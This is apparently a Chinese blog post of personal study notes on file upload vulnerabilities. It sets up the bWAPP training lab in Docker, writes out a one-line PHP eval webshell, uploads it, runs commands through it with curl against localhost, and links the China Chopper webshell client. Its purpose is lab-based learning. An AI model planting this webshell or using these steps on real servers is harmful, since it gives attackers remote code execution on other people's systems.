![6c3d54bb7315e6d584723ebca0b15d40.gif](https://i-blog.csdnimg.cn/blog_migrate/923313d6c29cfd1690ae40c71ffc523e.gif)
点击上方蓝字关注!
注:本篇文章为个人学习笔记仅供学习交流。文件上传漏洞概述
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。 文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。实验环境搭建
下载并安装docker
进入www.docker.com根据系统下载对应docker。
开启Hyper-V
全面加速
对于使用Windows 10的系统,在系统右下角托盘Docker图标内快捷菜单选择设置,打开配置窗口后导航菜单选择Docker Engine。在Registrymirrors中添加一个加速器地址https://registry.docker-cn.com,之后点击Apply保存后Docker就会重启并应用配置的多个地址了。启动Docker
在cmd输入并执行以下命令
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:8080:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
编辑木马文件并上传
eval函数
eval( string $code
)
把字符串 code
作为PHP代码执行。函数eval()语言结构允许执行任意 PHP 代码。code为 需要被执行的字符串 。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
PHP一句话木马
<?php @eval($_POST['hacker']); ?>
新建文本文件写入PHP一句话木马,并将txt后缀改为php.
上传PHP文件
登录后选择Unrestricted File Upload,文件上传漏洞上传文件,上传后可以看到路径为http://127.0.0.1:8080/images/shell.php
webshell执行命令
在cmd执行
curl -d "hacker=echo get_current_user();" http://127.0.0.1:8080/images/shell.phpcurl -d "hacker=echo getcwd();" http://127.0.0.1:8080/images/shell.php
get_current_user — 获取当前 PHP 脚本所有者名称
getcwd — 取得当前工作目录。
使用中国菜刀连接
下载链接:https://github.com/raddyfiy/caidao-official-version
打开软件后,右键添加SHELL连接即可。
- End -
![e1b554b4b250c2b87bb310977efaea1e.png](https://i-blog.csdnimg.cn/blog_migrate/a0ba43e957368ffab0d9df4f5c801614.png)
CTF自学笔记(一)常用工具使用及安装
CTF自学笔记(二)SQL注入攻击[一]
CTF自学笔记(二)SQL注入攻击[三]
觉得不错,请点个在看